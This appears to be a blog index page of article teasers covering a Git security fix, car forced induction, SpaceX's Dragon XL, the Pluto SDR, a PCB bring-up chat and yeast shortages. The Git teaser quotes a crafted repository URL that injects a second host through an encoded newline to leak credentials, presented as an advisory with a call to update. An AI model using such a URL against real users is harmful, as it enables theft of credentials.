This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
Continue reading “This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation”

How To Get Into Cars: Forced Induction

For those addicted to automotive thrills, there’s always an underlying lust for more power. For those chasing a bigger number, forced induction is one of the most effective ways to achieve it. In addition to more grunt, you get a whole bunch of fun new noises, too.  For those with a naturally aspirated car, here’s how you go about converting to forced induction.

Superchargers and Turbos

When we talk about forced induction, we’re talking about forcing more air into the engine under pressure. With more air available, it’s possible to fully combust more fuel, creating more power. The two most common ways of doing this are supercharging and turbocharging. We’ll be using the common automotive vernacular here, so those eager to bicker about terminology from the early 20th century aircraft industry best do it in the comments. Continue reading “How To Get Into Cars: Forced Induction”

SpaceX Offers NASA A Custom Moon Freighter

Under the current Administration, NASA has been tasked with returning American astronauts to the Moon as quickly as possible. The Artemis program would launch a crewed mission to our nearest celestial neighbor as soon as 2024, and establish a system for sustainable exploration and habitation by 2028. It’s an extremely aggressive timeline, to put it mildly.

To have any chance of meeting these goals, NASA will have to enlist the help of not only its international partners, but private industry. There simply isn’t enough time for the agency to design, build, and test all of the hardware that will eventually be required for any sort of sustained presence on or around the Moon. By awarding a series of contracts, NASA plans to offload some of the logistical components of the Artemis program to qualified companies and agencies.

Artist’s Rendering of the Dragon XL

For anyone who’s been following the New Space race these last few years, it should come as no surprise to hear that SpaceX has already been awarded one of these lucrative logistics contracts. They’ve been selected as the first commercial provider for cargo deliveries to Gateway, a small space station that NASA intendeds to operate in lunar orbit. Considering SpaceX already has a contract to resupply the International Space Station, they were the ideal candidate to offer similar services for a future lunar outpost.

But that certainly doesn’t mean it will be easy. The so-called “Gateway Logistics Services” contract stipulates that providers must be able to deliver at least 3,400 kilograms (7,500 pounds) of pressurized cargo and 1,000 kilograms (2,200 pounds) of unpressurized cargo to lunar orbit. That’s beyond the capabilities of SpaceX’s Dragon spacecraft, which was only designed to service low Earth orbit.

To complete this new mission, the company is proposing a new vehicle they’re calling the Dragon XL that would ride to orbit on the Falcon Heavy booster. But even for this New Space darling, there’s not a lot of time to design, test, and build a brand-new spacecraft. To get the Dragon XL flying as quickly as possible, SpaceX is going to need to strip the craft down to the bare minimum.

Continue reading “SpaceX Offers NASA A Custom Moon Freighter”

Pluto Might Not Be A Planet, But It Is An SDR Transceiver

Many of the SDR projects we see use a cheap USB dongle. They are great, but sometimes you want more and — especially — sometimes you want to transmit. The Analog Devices ADALM-Pluto SDR is easily available for $200 and sometimes as low as $100 and it both transmits and receives using an Analog AD9363 and a Zynq FPGA. Although you normally use the device to pipe IQ signals to a host computer, you can run SDR applications on the device itself. That requires you to dig into the Zynq tools, which is fun but a topic for another time. In this post, I’m going to show you how you can use GNU Radio to make a simple Morse code beacon in the 2m ham band.

I’ve had one on my bench for quite a while and I’ve played with it a bit. There are several ways to use it with GNU Radio and it seems to work very well. You have to hack it to get the frequency range down a bit. Sure, it might not be “to spec” once you broaden the frequency range, but it seems to work fine. Instead of working from 325 MHz to 3,800 MHz with a 20 MHz bandwidth, the hacked device transceives 70 MHz to 6,000 MHz with 56 MHz bandwidth. It is a simple hack you only have to do once. It tells the device that it has a slightly better chip onboard and our guess is the chips are the same but sorted by performance. So while the specs might be a little off, you probably won’t notice.

Continue reading “Pluto Might Not Be A Planet, But It Is An SDR Transceiver”

PCB Bring-Up Hack Chat

Join us on Wednesday, April 15 at noon Pacific for the PCB Bring-Up Hack Chat with Mihir Shah and Liam Cadigan!

The printed circuit design process is pretty unique among manufacturing processes. Chances are pretty good that except for possibly a breadboard prototype, the circuit that sits before you after coming back from assembly has only ever existed in EDA software or perhaps a circuit simulator. Sure, it’s supposed to work, but will it?

You can — and should — do some power-off testing of new boards, but at some point you’re going to have to flip the switch and see what happens. The PCB bring-up process needs to be approached carefully, lest debugging any problems that crop up become more difficult than need be. Mihir and Liam from inspectAR will discuss the bring-up process in depth, offering tips and tricks to make things go as smoothly as possible, as well as demonstrating how the inspectAR platform can fit into that process, especially with teams that are distributed across remote sites. If your board releases the Magic Smoke, you’ll want to know if it’s your design or an assembly issue, and an organized bring-up plan can be a big help.

Note: Liam will be doing a simulcast web demo of inspectAR via Zoom. ​

join-hack-chatOur Hack Chats are live community events in the Hackaday.io Hack Chat group messaging. This week we’ll be sitting down on Wednesday, April 15 at 12:00 PM Pacific time. If time zones have got you down, we have a handy time zone converter.

Click that speech bubble to the right, and you’ll be taken directly to the Hack Chat group on Hackaday.io. You don’t have to wait until Wednesday; join whenever you want and you can see what the community is talking about.

Continue reading “PCB Bring-Up Hack Chat”

Yeast Is A Hot Commodity; Brewing And Breadmaking During Lockdown

In the recent frenzy of stocking up with provisions as the populace prepare for their COVID-19 lockdown, there have been some widely-publicised examples of products that have become scarce commodities. Toilet paper, pasta, rice, tinned vegetables, and long-life milk are the ones that come to mind, but there’s another one that’s a little unexpected.

As everyone dusts off the breadmaker that’s lain unused for years since that time a loaf came out like a housebrick, or contemplates three months without beer and rediscovers their inner home brewer, it seems yeast can’t be had for love nor money. No matter, because the world is full of yeasts and thus social media is full of guides for capturing your own from dried fruit, or from the natural environment. A few days tending a pot of flour and water, taking away bacterial cultures and nurturing the one you want, and you can defy the shortage and have as much yeast as you need.

Continue reading “Yeast Is A Hot Commodity; Brewing And Breadmaking During Lockdown”